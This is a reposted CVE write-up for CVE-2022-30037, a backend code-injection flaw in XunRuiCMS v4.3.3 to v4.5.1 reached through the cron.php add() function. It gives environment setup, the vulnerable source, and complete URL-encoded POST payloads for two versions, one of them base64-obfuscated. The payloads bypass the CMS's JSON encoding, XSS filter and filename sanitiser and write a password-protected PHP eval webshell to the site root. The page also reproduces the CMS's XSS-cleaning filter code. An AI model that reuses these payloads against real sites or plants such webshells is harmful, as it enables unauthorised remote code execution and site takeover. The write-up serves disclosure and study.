Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2022-30037: XunRuiCMS v4.3.3 to v4.5.1 backstage code injection vulnerability(file write and file inclusion)

XunRuiCMS v4.3.3 to v4.5.1 vulnerable to PHP file write and CMS PHP file inclusion, allows attackers to execute arbitrary php code, via the add function in cron.php.

CVE
#xss#csrf#vulnerability#web#mac#apple#google#js#git#java#php

expliot-db

XunRuiCMS v4.3.3 to v4.5.1

prerequisite

two conditions:

1.XunRuiCMS version is v4.3.3 to v4.5.1

2.You can log in to the background,And it is an administrator account or have the management permission of “应用”->“任务队列”

environment setup

  1. install and configure php and web middleware, note that the low version of the cms requires a low version of php

  2. clone the official open source address of the cms https://gitee.com/dayrui/xunruicms

  3. search for the version number in the commit message to fall back to the specified version

In PhpStorm, right-click the specified commit version and select “Reset Current Branch to Here”.

Select “Hard” and click “Reset”.

  1. Access, install, and login to the backend

Backend address:/admin.php

Translated with www.DeepL.com/Translator (free version)

vulnerability description

Admin controller folder, Cron.php controller, add() function, there is no special filtering for user input, this will cause the attacker to execute the attack when he has administrator privileges or administrative privileges of “应用”->“任务队列”, write anything to the WRITEPATH.’config/cron.php’, at the same time, the file has multiple points that can be executed and utilized, under normal circumstances, the above trigger conditions can stably trigger the vulnerability

vulnerability principle****before version v4.3.3

before version v4.3.3, there is no “add()” function under “cron.php”

Under versions v4.3.3 to v4.5.0

1.The CMS, with the above permissions, Can be accessed through http://host:port/Admin.php?c=Cron&m=add call the add() function of the Cron.php controller under the Admin controller folder

2.code of add() function:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


// 任务类型
public function add() {

    $json = '';
    if (is_file(WRITEPATH.'config/cron.php')) {
        require WRITEPATH.'config/cron.php';
    }

    $data = json_decode($json, true);

    if (IS_AJAX_POST) {

        $post = \Phpcmf\Service::L('input')->post('data', true);

        file_put_contents(WRITEPATH.'config/cron.php',
            '<?php defined(\'FCPATH\') OR exit(\'No direct script access allowed\');'.PHP_EOL.' $json=\''.json_encode($post).'\';');

        \Phpcmf\Service::L('input')->system_log('设置自定义任务类型');

        $this->_json(1, dr_lang('操作成功'));
    }

    \Phpcmf\Service::V()->assign([
        'data' => $data,
    ]);
    \Phpcmf\Service::V()->display('cron_add.html');
}

analysis of add() function

1
2
3


if (is_file(WRITEPATH.'config/cron.php')) {
    require WRITEPATH.'config/cron.php';
}

The add() function will first include the WRITEPATH.’config/cron.php’ file when it exists, WRITEPATH can be configured in index.php under the root directory of the website, By default, it is cache/ under the root directory of the website

1
2


$json = '';
$data = json_decode($json, true);

Then the add() function assigns Null to $data through the json_decode($json, true) function

Then enter an if branch statement, When IS_AJAX_POST, then execute the relevant code written to the file, otherwise, skip writing to the file, show cron’s add page, the add() function ends, IS_AJAX_POST is defined as returning TRUE when a post request is received and the content of post is not empty, otherwise, return to FALSE

1


$post = \Phpcmf\Service::L('input')->post('data', true);

In if statement, first \Phpcmf\Service::L(‘input’)->post('data’, true) The code calls the post() function of class Input defined in the Input.php file, When a post request is received and the key is data, perform “XSS cleaning” and return, otherwise, return to false directly, then assign it to $post, the code of “XSS cleaning” is relatively long, I put it at the end of this article, the “XSS cleaning” here can be easily bypassed, so as to write whatever we want

1
2


file_put_contents(WRITEPATH.'config/cron.php',
            '<?php defined(\'FCPATH\') OR exit(\'No direct script access allowed\');'.PHP_EOL.' $json=\''.json_encode($post).'\';');

In if statement, post request received, then, the received content is encoded by JSON and written into WRITEPATH.’config/cron.php’ file, the controllable write point is located in the assignment of string $json, and in the package of two '’s, here is the main reason for the vulnerability, write the corresponding file without making sufficient judgment or cleaning on the user’s input

1
2


\Phpcmf\Service::L('input')->system_log('设置自定义任务类型');
$this->_json(1, dr_lang('操作成功'));

End of if statement, write log and display operation results, the cron add interface is displayed, and the add() function ends

Bypass JSON encoding and “XSS cleaning” and package ' in WRITEPATH.’config/cron.php’ file

Through the above analysis, we can find that, the add() function basically has no special precautions against user input, as long as we bypass the “XSS cleaning” and JSON encoding and the package ' in the WRITEPATH.’config/cron.php’ file, we can write whatever we want

The following is one of my methods. In the WRITEPATH.’config/cron.php’ file, write the PHP statement of a file named webshell.php with the content of <?php eval(@$_POST[“password”]);?> in the root directory of the website when running the WRITEPATH.’config/cron.php’ file

Note that the following operations need to obtain csrf_test_name first and obtain the method:

1.Visit http://host:port/Admin.php?c=Cron&m=add

2.Capture the post package sent when clicking “save”

3.csrf_test_name in the content of post can be used as csrf_test_name for a period of time

After obtaining csrf_test_name", give http://host:port/Admin.php?c=Cron&m=add post the following:

1


isform=1&csrf_test_name=3318a4fabdf4ea654734315a4d508a5f&data%5B1%5D%5Bname%5D=&data%5B1%5D%5Bcode%5D=%5B';file_put_contents('webshell.php',htmlspecialchars_decode('<').'?php%20eval'.base64_decode('KA==').'@$_POST%5B'.base64_decode('Ig==').'password'.base64_decode('Ig==').'%5D'.base64_decode('KQ==').';?'.htmlspecialchars_decode('>'));return;'%5D

After URL decoding, it is:

1


isform=1&csrf_test_name=3318a4fabdf4ea654734315a4d508a5f&data[1][name]=&data[1][code]=[';file_put_contents('webshell.php',htmlspecialchars_decode('&lt;').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('&gt;'));return;']

After bypassing JSON encoding and “XSS cleaning”, the contents written in WRITEPATH.’config/cron.php’ file are:

1
2


<?php defined('FCPATH') OR exit('No direct script access allowed');
 $json='{"1":{"name":"","code":"[';file_put_contents('webshell.php',htmlspecialchars_decode('&lt;').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('>'));return;']"}}';

The key points in this post content are

1


[';file_put_contents('webshell.php',htmlspecialchars_decode('&lt;').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('&gt;'));return;']

After bypassing JSON encoding and “XSS cleaning”, the content here becomes:

1


[';file_put_contents('webshell.php',htmlspecialchars_decode('&lt;').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('>'));return;']

The package of ' in document WRITEPATH.’config/cron.php’ is closed

include the WRITEPATH.’config/cron.php’ file written to

Through the analysis of add() function, when you call the add() function, you will first include the WRITEPATH.’config/cron.php’ file when it exists, therefore, you can access http://host:port/Admin.php?c=Cron&m=add directly

After accessing http://host:port/Admin.php?c=Cron&m=add, http://host:port/Admin.php?c=Cron&m=add file named webshell.php will be generated in the root directory of the website, and the content of the file is <?php eval(@$_POST[“password”]);?>

version v4.5.1

code of add() function:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


// 任务类型
public function add() {

    $json = '';
    if (is_file(WRITEPATH.'config/cron.php')) {
        require WRITEPATH.'config/cron.php';
    }
    $data = json_decode($json, true);

    if (IS_AJAX_POST) {

        $post = \Phpcmf\Service::L('input')->post('data');
        if ($post && is_array($post)) {
            foreach ($post as $key => $t) {
                if (!$t || !$t['name']) {
                    unset($post[$key]);
                }
                $post[$key]['name'] = dr_safe_filename($t['name']);
                $post[$key]['code'] = dr_safe_filename($t['code']);
            }
        } else {
            $post = [];
        }

        file_put_contents(WRITEPATH.'config/cron.php',
            '<?php defined(\'FCPATH\') OR exit(\'No direct script access allowed\');'.PHP_EOL.' $json=\''.json_encode($post).'\';');

        \Phpcmf\Service::L('input')->system_log('设置自定义任务类型');

        $this->_json(1, dr_lang('操作成功'));
    }

    \Phpcmf\Service::V()->assign([
        'data' => $data,
    ]);
    \Phpcmf\Service::V()->display('cron_add.html');
}

Compared with previous versions, version v4.5.1 modified the following code when obtaining the content of post:

1


$post = \Phpcmf\Service::L('input')->post('data',true);

change to

1


$post = \Phpcmf\Service::L('input')->post('data');

The second parameter of the post() function is whether to “XSS clean”. Since the default value of the second parameter of the post() function is true, this change will not have any impact in theory

At the same time, after obtaining the content of post and before writing WRITEPATH.’config/cron.php’ file, the following code is added:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


if ($post && is_array($post)) {
    foreach ($post as $key => $t) {
        if (!$t || !$t['name']) {
            unset($post[$key]);
        }
        $post[$key]['name'] = dr_safe_filename($t['name']);
        $post[$key]['code'] = dr_safe_filename($t['code']);
    }
} else {
    $post = [];
}

The above code first determines whether the content of post exists and is an array. If it does not meet the requirements, it will set the content of post as an empty array. If it meets the requirements, it will traverse the content of post. If the value of a key value pair does not exist or the value of ‘name’ key of value of a key value pair does not exist, it will destroy the key value pair, and then clean the ‘name’ key and ‘code’ key of value of each key value pair through the dr_safe_filename() function, the following is the code of the dr_safe_filename() function:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


/**
 * 安全过滤文件及目录名称函数
 */
function dr_safe_filename($string) {
    return str_replace(
        ['..', "/", '\\', ' ', '<', '>', "{", '}', ';', ':', '[', ']', '\'', '"', '*', '?'],
        '',
        (string)$string
    );
}

bypass the JSON encoding, “XSS cleaning”, dr_safe_filename() function filtering and packages in WRITEPATH.’config/cron.php’ file

Instead of trying to bypass the dr_safe_filename() function, let’s try another extremely simple method

Through the audit of the “XSS cleaning” function and the newly added code of the v5add() function, we can find that there is no filter for the key of the array, including the key of each dimension of the multidimensional array. Therefore, we can modify the key in the content of post to write any content we want

The following is my method. In the whole process of vulnerability exploitation, except for the above-mentioned filtering of value of key value pairs added in the add() function, other processes have no change compared with the previous version:

After obtaining csrf_test_name, give http://host:port/Admin.php?c=Cron&m=add post the following contents:

1


isform=1&csrf_test_name=9f3342fbce7b49c85f05776bf89db778&data%5B1%5D%5Bname%5D=1&data%5B1%5D%5Bcode":"1"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'%5D=1

After url decoding, it is:

1


isform=1&csrf_test_name=9f3342fbce7b49c85f05776bf89db778&data[1][name]=1&data[1][code":"1"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;']=1

After bypassing the filtering of JSON encoding, “XSS cleaning” and dr_safe_filename() function, the contents written in WRITEPATH.’config/cron.php’ file are:

1
2


<?php defined('FCPATH') OR exit('No direct script access allowed');
 $json='{"1":{"name":"1","code\":\"1\"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw\/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'":"1","code":""}}';

The key points in this post content are

1


":"1"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'

After bypassing the filtering of JSON encoding, “XSS cleaning” and dr_safe_filename() function, the content here becomes:

1


\":\"1\"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw\/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'

The package of ' in document WRITEPATH.’config/cron.php’ is closed

include the WRITEPATH.’config/cron.php’ file written to

Through the analysis of the add() function in front, when calling the add() function, the WRITEPATH.’config/cron.php’ file will be included when the WRITEPATH.’config/cron.php’ file exists, so you can directly access http://host:port/Admin.php?c=Cron&m=add

After accessing http://host:port/Admin.php?c=Cron&m=add, http://host:port/Admin.php?c=Cron&m=add file named webshell.php will be generated in the root directory of the website, and the content of the file is <?php eval(@$_POST[“password”]);?>

after version v4.5.1

The add() function is deleted

POC && EXP

It’s very simple. I won’t write it, but note that there may be holes in the CMS of the target site. For example, the version number is low but the actual site file has been updated

POC

Log in to the background, get the version number, and then verify whether it is an administrator or has the management permission of “应用”->“任务队列”

EXP

Log in to the background, then post write malicious code, and finally get access to malicious files

xss_clean() function

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406


<?php namespace Phpcmf\Library;
/**
 * {{www.xunruicms.com}}
 * {{迅睿内容管理框架系统}}
 * 本文件是框架系统文件,二次开发时不可以修改本文件,可以通过继承类方法来重写此文件
 **/

/**
 * 安全过滤
 */
class Security {

    /**
     * List of sanitize filename strings
     *
     * @var array
     */
    public $filename_bad_chars = [
        '../', '<!--', '-->', '<', '>',
        "'", '"', '&', '$', '#',
        '{', '}', '[', ']', '=',
        ';', '?', '%20', '%22',
        '%3c',      // <
        '%253c',    // <
        '%3e',      // >
        '%0e',      // >
        '%28',      // (
        '%29',      // )
        '%2528',    // (
        '%26',      // &
        '%24',      // $
        '%3f',      // ?
        '%3b',      // ;
        '%3d'       // =
    ];

    protected $naughty_tags  = [];

    protected $evil_attributes = [];

    /**
     * Character set
     *
     * Will be overridden by the constructor.
     *
     * @var string
     */
    public $charset = 'UTF-8';

    /**
     * XSS Hash
     *
     * Random Hash for protecting URLs.
     *
     * @var string
     */
    protected $_xss_hash;

    /**
     * List of never allowed strings
     *
     * @var array
     */
    protected $_never_allowed_str = [
        'document.cookie' => '[xss_clean]',
        '(document).cookie' => '[xss_clean]',
        'document.write'  => '[xss_clean]',
        '(document).write'  => '[xss_clean]',
        '.parentNode'     => '[xss_clean]',
        '.innerHTML'      => '[xss_clean]',
        '-moz-binding'    => '[xss_clean]',
        '<!--'            => '&lt;!--',
        '-->'             => '--&gt;',
        '<![CDATA['       => '&lt;![CDATA[',
        '<comment>'   => '&lt;comment&gt;',
        '<%'              => '&lt;&#37;'
    ];

    // 替换前的处理
    protected $_never_call_str = [
        '&quot;javascript:'    => '&quot;javascript_xunruicms:',
    ];

    /**
     * List of never allowed regex replacements
     *
     * @var array
     */
    protected $_never_allowed_regex = [
        'javascript\s*:',
        '(\(?document\)?|\(?window\)?(\.document)?)\.(location|on\w*)',
        'expression\s*(\(|&\#40;)', // CSS and IE
        'vbscript\s*:', // IE, surprise!
        'wscript\s*:', // IE
        'jscript\s*:', // IE
        'vbs\s*:', // IE
        'Redirect\s+30\d',
        "([\"'])+data\s*:[^\\1]*?base64[^\\1]*?,[^\\1]*?\\1?"
    ];



    // --------------------------------------------------------------------

    /**
     * XSS Clean
     *
     * Sanitizes data so that Cross Site Scripting Hacks can be
     * prevented.  This method does a fair amount of work but
     * it is extremely thorough, designed to prevent even the
     * most obscure XSS attempts.  Nothing is ever 100% foolproof,
     * of course, but I haven't been able to get anything passed
     * the filter.
     *
     * Note: Should only be used to deal with data upon submission.
     *   It's not something that should be used for general
     *   runtime processing.
     *
     * @link    http://channel.bitflux.ch/wiki/XSS_Prevention
     *      Based in part on some code and ideas from Bitflux.
     *
     * @link    http://ha.ckers.org/xss.html
     *      To help develop this script I used this great list of
     *      vulnerabilities along with a few other hacks I've
     *      harvested from examining vulnerabilities in other programs.
     *
     * @param   string|string[] $str        Input data
     * @param   bool        $is_image       严格的过滤
     * @return  string
     */
    public function xss_clean($str, $is_image = FALSE)
    {

        if (is_numeric($str)) {
            return $str;
        } elseif (!$str) {
            return '';
        }

        // Is the string an array?
        if (is_array($str))
        {
            foreach ($str as $key => &$value)
            {
                $str[$key] = $this->xss_clean($value, $is_image);
            }

            return $str;
        }

        if (json_encode( $str) === false) {
            return '[xss_clean]'; // 判断含有乱码直接过滤为空
        }

        $this->naughty_tags = [
            'alert', 'area', 'prompt', 'confirm', 'applet', 'audio', 'basefont', 'base', 'behavior', 'bgsound',
            'blink', 'body',  'expression', 'form', 'frameset', 'frame', 'head', 'html', 'ilayer',
            'input', 'button', 'select', 'isindex', 'layer', 'link', 'meta', 'keygen', 'object',
            'plaintext', 'script', 'textarea', 'title', 'math',  'svg', 'xml', 'xss',
            //'iframe', 'video', 'embed', 'style'  //排除过滤

        ];
        $this->evil_attributes = [
            'on\w+', 'xmlns', 'formaction', 'form', 'xlink:href', 'FSCommand', 'seekSegmentTime'
            //  ,'style' 排除过滤

        ];

        if ($is_image) {
            // 严格的过滤
            $this->naughty_tags = array_merge($this->naughty_tags, array('iframe', 'video', 'embed', 'style'));
            $this->evil_attributes = array_merge($this->evil_attributes, array('style'));
            /*
             * URL Decode
             *
             * Just in case stuff like this is submitted:
             *
             * <a href="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">Google</a>
             *
             * Note: Use rawurldecode() so it does not remove plus signs
             * */

            if (stripos($str, '%') !== false)
            {
                do
                {
                    $oldstr = $str;
                    $str = rawurldecode($str);
                    $str = preg_replace_callback('#%(?:\s*[0-9a-f]){2,}#i', [$this, '_urldecodespaces'], $str);
                }
                while ($oldstr !== $str);
                unset($oldstr);
            }

            /*
             * Convert character entities to ASCII
             *
             * This permits our tests below to work reliably.
             * We only convert entities that are within tags since
             * these are the ones that will pose security problems.
             */

            // 不进行二次编码的xss过滤
            $str = preg_replace_callback("/[^a-z0-9>]+[a-z0-9]+=([\'\"]).*?\\1/si", array($this, '_convert_attribute'), $str);
            $str = preg_replace_callback('/<\w+.*/si', array($this, '_decode_entity'), $str);
        }


        // Remove Invisible Characters Again!
        $str = remove_invisible_characters($str);

        /*
         * Convert all tabs to spaces
         *
         * This prevents strings like this: ja  vascript
         * NOTE: we deal with spaces between characters later.
         * NOTE: preg_replace was found to be amazingly slow here on
         * large blocks of data, so we use str_replace.
         */
        $str = str_replace("\t", ' ', $str);

        // Capture converted string for later comparison
        $converted_string = $str;

        // Remove Strings that are never allowed
        //$str = $this->_do_never_allowed($str);

        /*
         * Makes PHP tags safe
         *
         * Note: XML tags are inadvertently replaced too:
         *
         * <?xml
         *
         * But it doesn't seem to pose a problem.
         */
        if ($is_image)
        {
            // Images have a tendency to have the PHP short opening and
            // closing tags every so often so we skip those and only
            // do the long opening tags.
            $str = preg_replace('/<\?(php)/i', '&lt;?\\1', $str);
        }
        else
        {
            $str = str_replace(['<?', '?'.'>'], ['&lt;?', '?&gt;'], $str);
        }

        /*
         * Compact any exploded words
         *
         * This corrects words like:  j a v a s c r i p t
         * These words are compacted back to their correct state.
         */
        $words = [
            'javascript', 'expression', 'vbscript', 'jscript', 'wscript',
            'vbs', 'script', 'base64', 'applet', 'alert', 'document',
            'write', 'cookie', 'window', 'confirm', 'prompt', 'eval'
        ];

        foreach ($words as $word)
        {
            $word = implode('\s*', str_split($word)).'\s*';

            // We only want to do this when it is followed by a non-word character
            // That way valid stuff like "dealer to" does not become "dealerto"
            $str = preg_replace_callback('#('.substr($word, 0, -3).')(\W)#is', array($this, '_compact_exploded_words'), $str);
        }

        /*
         * Remove disallowed Javascript in links or img tags
         * We used to do some version comparisons and use of stripos(),
         * but it is dog slow compared to these simplified non-capturing
         * preg_match(), especially if the pattern exists in the string
         *
         * Note: It was reported that not only space characters, but all in
         * the following pattern can be parsed as separators between a tag name
         * and its attributes: [\d\s"\'`;,\/\=\(\x00\x0B\x09\x0C]
         * ... however, remove_invisible_characters() above already strips the
         * hex-encoded ones, so we'll skip them below.
         */
        do
        {
            $original = $str;

            if (preg_match('/<a/i', $str))
            {
                $str = preg_replace_callback('#<a(?:rea)?[^a-z0-9>]+([^>]*?)(?:>|$)#si', array($this, '_js_link_removal'), $str);
            }

            if (preg_match('/<img/i', $str))
            {
                $str = preg_replace_callback('#<img[^a-z0-9]+([^>]*?)(?:\s?/?>|$)#si', array($this, '_js_img_removal'), $str);
            }

            if (preg_match('/script|xss/i', $str))
            {
                $str = preg_replace('#</*(?:script|xss).*?>#si', '[xss_clean]', $str);
            }
        }
        while ($original !== $str);
        unset($original);

        /*
         * Sanitize naughty HTML elements
         *
         * If a tag containing any of the words in the list
         * below is found, the tag gets converted to entities.
         *
         * So this: <blink>
         * Becomes: &lt;blink&gt;
         */
        $pattern = '#'
            .'<((?<slash>/*\s*)((?<tagName>[a-z0-9]+)(?=[^a-z0-9]|$)|.+)' // tag start and name, followed by a non-tag character
            .'[^\s\042\047a-z0-9>/=]*' // a valid attribute character immediately after the tag would count as a separator
            // optional attributes
            .'(?<attributes>(?:[\s\042\047/=]*' // non-attribute characters, excluding > (tag close) for obvious reasons
            .'[^\s\042\047>/=]+' // attribute characters
            // optional attribute-value
                .'(?:\s*=' // attribute-value separator
                    .'(?:[^\s\042\047=><`]+|\s*\042[^\042]*\042|\s*\047[^\047]*\047|\s*(?U:[^\s\042\047=><`]*))' // single, double or non-quoted value
                .')?' // end optional attribute-value group
            .')*)' // end optional attributes group
            .'[^>]*)(?<closeTag>\>)?#isS';

        // Note: It would be nice to optimize this for speed, BUT
        //       only matching the naughty elements here results in
        //       false positives and in turn - vulnerabilities!
        do
        {
            $old_str = $str;
            $str = preg_replace_callback($pattern, array($this, '_sanitize_naughty_html'), $str);
        }
        while ($old_str !== $str);
        unset($old_str);

        /*
         * Sanitize naughty scripting elements
         *
         * Similar to above, only instead of looking for
         * tags it looks for PHP and JavaScript commands
         * that are disallowed. Rather than removing the
         * code, it simply converts the parenthesis to entities
         * rendering the code un-executable.
         *
         * For example: eval('some code')
         * Becomes: eval&#40;'some code'&#41;
         */
        $str = preg_replace(
            '#(alert|prompt|confirm|cmd|passthru|eval|exec|expression|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(\s*)\((.*?)\)#si',
            '\\1\\2&#40;\\3&#41;',
            $str
        );

        // Same thing, but for "tag functions" (e.g. eval`some code`)
        // See https://github.com/bcit-ci/CodeIgniter/issues/5420
        $str = preg_replace(
            '#(alert|prompt|confirm|cmd|passthru|eval|exec|expression|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(\s*)`(.*?)`#si',
            '\\1\\2&#96;\\3&#96;',
            $str
        );

        //最终清理
        //
        ////这增加了一点额外的预防措施
        //
        ////有东西通过了上面的过滤器
        $str = $this->_do_never_allowed($str);


        // now the only remaining whitespace attacks are \t, \n, and \r
        $ra = ['onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'];
        foreach ($ra as $t) {
            $str = str_replace(' '.$t.'="', ' '.$t.'=', $str);
        }

        return $str;
    }

    // --------------------------------------------------------------------

    /**
     * Do Never Allowed
     *
     * @used-by CI_Security::xss_clean()
     * @param   string
     * @return  string
     */
    protected function _do_never_allowed($str)
    {

        $str = str_replace(array_keys($this->_never_call_str), $this->_never_call_str, $str);
        $str = str_replace(array_keys($this->_never_allowed_str), $this->_never_allowed_str, $str);

        foreach ($this->_never_allowed_regex as $regex)
        {
            $str = preg_replace('#'.$regex.'#is', '_\\0', $str);
        }

        $str = str_replace($this->_never_call_str, array_keys($this->_never_call_str), $str);

        return $str;
    }


}

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907